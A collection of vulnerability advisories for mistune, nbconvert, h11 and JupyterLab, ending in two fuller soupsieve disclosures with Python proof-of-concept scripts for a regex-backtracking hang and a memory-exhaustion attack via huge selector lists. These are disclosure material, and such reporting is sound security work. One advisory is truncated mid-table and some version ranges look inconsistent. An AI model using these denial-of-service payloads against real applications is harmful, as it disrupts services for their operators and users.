A path traversal vulnerability exists in the mistune library's Include directive when processing markdown files using md.read(). This flaw allows crafted include paths to access files outside the intended markdown directory. The issue arises because the resolved file path is not verified to remain within a trusted base directory, enabling traversal sequences like ../ to escape the intended folder. Applications that process untrusted markdown with this directive enabled may inadvertently expose sensitive files. The vulnerability affects jupyterlab versions from 1.2.0 up to but not including 4.6.1. A fix is available in version 4.6.1.
Mistune versions from 1.2.0 up to but not including 4.6.1 contain a cross-site scripting (XSS) vulnerability in the safe_url() function. The function fails to decode percent-encoded URLs before checking for harmful schemes like "javascript:", allowing attackers to bypass this filter using percent-encoded javascript URIs. This leads to execution of arbitrary JavaScript in the victim's browser when a malicious Markdown link is rendered and clicked. The vulnerability is fixed in version 4.6.1.
Mistune's formatting plugins for strikethrough, mark, and insert exhibit an algorithmic complexity vulnerability causing quadratic-time parsing on inputs with repeated marker pairs like `~~x~~`. This leads to excessive CPU usage when processing long runs of these markers, resulting in denial of service. The issue affects mistune versions from 1.2.0 up to but not including 4.6.1. A fix is available in version 4.6.1.
Mistune, a Python Markdown parser used in jupyterlab versions >=1.2.0 and <4.6.1, contains a denial-of-service vulnerability due to quadratic-time parsing behavior in the parse_link_text function. An attacker can craft Markdown input with many consecutive '[' characters to cause excessive CPU usage, leading to service disruption. The issue arises from inefficient repeated scanning inside a loop, resulting in O(n²) complexity. A fix is available in version 4.6.1.
JupyterLab's Mistune Image directive plugin improperly validates the width and height options using a regex that only anchors at the start of the string. This allows an attacker to inject arbitrary CSS properties into the style attribute of an image element by providing a crafted width value that begins with digits but includes additional CSS declarations. This vulnerability can be exploited to create full-page overlays that visually cover the browser viewport, enabling phishing and UI redressing attacks.
JupyterLab's use of Mistune's render_toc_ul() function allows unescaped user-supplied heading IDs to be injected directly into HTML anchor href attributes. This leads to a cross-site scripting (XSS) vulnerability when heading IDs are derived from user input without proper escaping. An attacker can craft headings that break out of the href attribute context and inject arbitrary HTML, including script tags, into the table of contents. This vulnerability affects versions from 1.2.0 up to but not including 4.5.7_1 and has been assigned CVE-2026-44898. A fix is available in version 4.5.7_1.
JupyterLab's Mistune HTMLRenderer.heading() method improperly handles the id attribute by inserting it directly into the HTML without escaping. When a custom heading_id callback returns user-controlled heading text containing double quotes, this allows injection of arbitrary HTML attributes, enabling cross-site scripting (XSS). The default TOC hook uses safe auto-generated IDs, but common usage involves deriving IDs from heading text, which is vulnerable. This flaw is fixed in JupyterLab version 4.5.7_1.
CVE-2026-44896 is a cross-site scripting (XSS) vulnerability in JupyterLab's Mistune markdown renderer. The flaw occurs because the render_figure() function in src/mistune/directives/image.py inserts figclass and figwidth options directly into HTML attributes without escaping, allowing attribute injection. This bypasses the usual HTML escaping protections even when HTMLRenderer(escape=True) is used. Other attributes like src, alt, and style are properly escaped. The vulnerability affects JupyterLab versions from 1.2.0 up to but not including 4.5.7_1.
The Mistune math plugin used in JupyterLab versions >=1.2.0 and <4.5.7_1 has a cross-site scripting (XSS) vulnerability due to improper escaping of user-supplied content inside math delimiters ($...$ and $$...$$). This allows raw HTML and script tags to be injected and executed in the browser, bypassing the expected escape mechanism. A fix is available in version 4.5.7_1.
A vulnerability in JupyterLab's nbconvert component allows arbitrary file read via path traversal when HTMLExporter.embed_images is enabled. This can lead to sensitive files being exfiltrated by embedding them as base64 data URIs in the output HTML. The issue affects versions from 3.4.3 up to but not including 4.5.6_3. A fix is available in version 4.5.6_3. The vulnerability has a CVSS score of 6.5, indicating medium severity.
A path traversal vulnerability in Jupyterlab's nbconvert component (CVE-2026-39377) allows arbitrary file writes outside the intended output directory via crafted cell attachment filenames. The ExtractAttachmentsPreprocessor does not sanitize filenames, enabling attackers to control the destination path, filename, extension, and content of files written to the filesystem. This can lead to unauthorized file creation or modification with the privileges of the nbconvert process. The issue affects versions from 3.4.3 up to but not including 4.5.6_3. A fix is available in version 4.5.6_3, and disabling the ExtractAttachmentsPreprocessor is a recommended workaround.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the mistune Markdown parser used by JupyterLab. The flaw is in the LINK_TITLE_RE regex, which can be exploited by crafted Markdown input containing repeated escaped punctuation sequences, causing exponential backtracking and significant parsing delays. This can lead to denial of service with very small inputs (under 100 bytes). The vulnerability affects mistune versions used in JupyterLab >=4.0.3 and <4.5.7_1. A fix is available in version 4.5.7_1 that modifies the regex to eliminate the ambiguity causing the exponential backtracking.
CVE-2025-43859 is a critical vulnerability in h11's handling of HTTP/1.1 chunked transfer encoding, affecting JupyterLab versions >=4.1.0 and <4.4.1_1. The flaw arises because h11 accepts malformed chunked-encoding bodies by not strictly validating the trailing CRLF bytes after each chunk. This leniency can lead to HTTP request smuggling when combined with a buggy reverse proxy that parses chunked bodies differently. Exploitation could allow attackers to bypass proxy protections or cause session key leakage between users. The issue is fixed in h11 version 0.15.0 and JupyterLab 4.4.1_1.
JupyterLab versions prior to 3.6.7, between 4.0.0 and before 4.0.11, and before 4.6.3 are vulnerable to a flaw that may expose users' Authorization and XSRF tokens if they click on a malicious link while running an older jupyter-server version. This vulnerability can lead to token leakage, potentially compromising user sessions. Patches have been released in JupyterLab 3.6.7, 4.0.11, and 4.1.0b2. Users are advised to upgrade jupyter-server to version 2.7.2 or newer to mitigate the issue. No workaround other than upgrading has been identified.
CVE-2024-43805 is an HTML injection vulnerability in Jupyter Notebook and JupyterLab that enables DOM Clobbering. It requires user interaction by opening a malicious notebook or Markdown file preview. Exploitation allows an attacker to access data available to the victim and perform arbitrary requests as that user. Official patches are available in JupyterLab versions 3.6.8 and 4.2.5, and Jupyter Notebook version 7.2.2. No full workaround exists, but disabling certain plugins can reduce risk for those unable to update promptly.
JupyterLab versions 4.5.9 and earlier, as well as versions 4.6.0 through 4.6.1, contain a vulnerability in the PyPIExtensionManager.install() method where a missing await causes the allowlist/blocklist enforcement to be bypassed for direct callers. This affects only custom extensions or downstream integrations that invoke install() directly with untrusted input. The standard JupyterLab HTTP API and UI are not affected. The issue is considered low impact and has been fixed in versions 4.5.10 and 4.6.2. Typical deployments using the HTTP API or UI require no action, and disabling programmatic extension installation via the read-only extension manager is a viable workaround.
### Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.
### Details
**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:
1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"`
2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'`
3. Unquoted identifiers
When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
**Key characteristics:**
- **Input size:** Only 300 bytes are needed to trigger a >3 second hang
- **Amplification:** Each additional character approximately doubles the backtracking time
- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)
### Proof of Concept
```python
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed) # WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.
```
**Safe testing variant with timeout:**
```python
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3) # 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE: {e}")
except Exception as e:
print(f"Other error: {e}")
finally:
signal.alarm(0) # Cancel the alarm
```
### Impact
**Severity: High**
An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:
1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`)
3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
| Parameter | Value |
|---|---|
| Input size | 300 bytes |
| CPU time consumed | >3 seconds (exponential with payload length) |
| Memory consumed | Negligible (CPU-only attack) |
| Authentication requir
### Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.
To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.
A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.
### Details
**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106
The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.
When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:
1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)
2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)
3. Stores all parsed selectors in a `SelectorList` (line ~204)
**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.
**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.
### Proof of Concept
```python
import tracemalloc
import soupsieve as sv
tracemalloc.start()
# Build a 500 KB selector string: "a,a,a,...,a" (250,000 items)
count = 250_000
selector = ",".join("a" for _ in range(count))
print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)")
# Compile the selector — this allocates ~244 MB
compiled = sv.compile(selector)
current, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"Compiled selector count: {len(compiled.selectors):,}")
print(f"Current memory: {current / 1024 / 1024:.1f} MB")
print(f"Peak memory: {peak / 1024 / 1024:.1f} MB")
print(f"Amplification ratio: {peak / len(selector):.0f}x")
# Expected output:
# Selector string size: 499,999 bytes (488 KB)
# Compiled selector count: 250,000
# Current memory: ~244 MB
# Peak memory: ~244 MB
# Amplification ratio: ~488x
```
### Impact
**Severity: High**
An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:
- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits
- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes
- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory
| Parameter | Value |
|---|---|
| Input size | ~500 KB selector string |
| Memory allocated | ~244 MB |
| Amplification ratio | ~488× |
| Per-object overhead | ~976 bytes per selector |
| Authentication required | None |
| User interaction required | None |
**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.
**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.
---
### Credit
Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/